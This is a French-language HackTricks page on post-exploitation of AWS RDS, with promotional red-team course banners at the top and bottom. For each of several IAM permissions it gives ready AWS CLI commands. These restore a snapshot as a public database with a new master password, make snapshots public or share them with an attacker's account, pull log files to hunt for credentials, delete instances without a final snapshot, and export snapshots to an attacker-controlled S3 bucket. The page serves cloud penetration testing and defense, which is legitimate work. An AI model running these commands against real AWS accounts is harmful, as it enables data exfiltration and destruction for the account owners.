AWS - RDS Post Exploitation
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
RDS
Pour plus d'informations, consultez :
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot
, rds:RestoreDBInstanceFromDBSnapshot
, rds:ModifyDBInstance
Si l'attaquant a suffisamment de permissions, il pourrait rendre une DB accessible publiquement en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:ModifyDBSnapshotAttribute
, rds:CreateDBSnapshot
Un attaquant avec ces permissions pourrait créer un snapshot d'une DB et le rendre publiquement disponible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
Si l'attaquant n'a pas le rds:CreateDBSnapshot
, il pourrait tout de même rendre autres snapshots créés publics.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Un attaquant avec la permission rds:DownloadDBLogFilePortion
peut télécharger des portions des fichiers journaux d'une instance RDS. Si des données sensibles ou des informations d'identification d'accès sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Impact potentiel : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis.
rds:DeleteDBInstance
Un attaquant avec ces autorisations peut DoS les instances RDS existantes.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Impact potentiel : Suppression des instances RDS existantes et perte potentielle de données.
rds:StartExportTask
note
TODO : Tester
Un attaquant disposant de cette autorisation peut exporter un instantané d'instance RDS vers un bucket S3. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Impact potentiel : Accès à des données sensibles dans l'instantané exporté.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.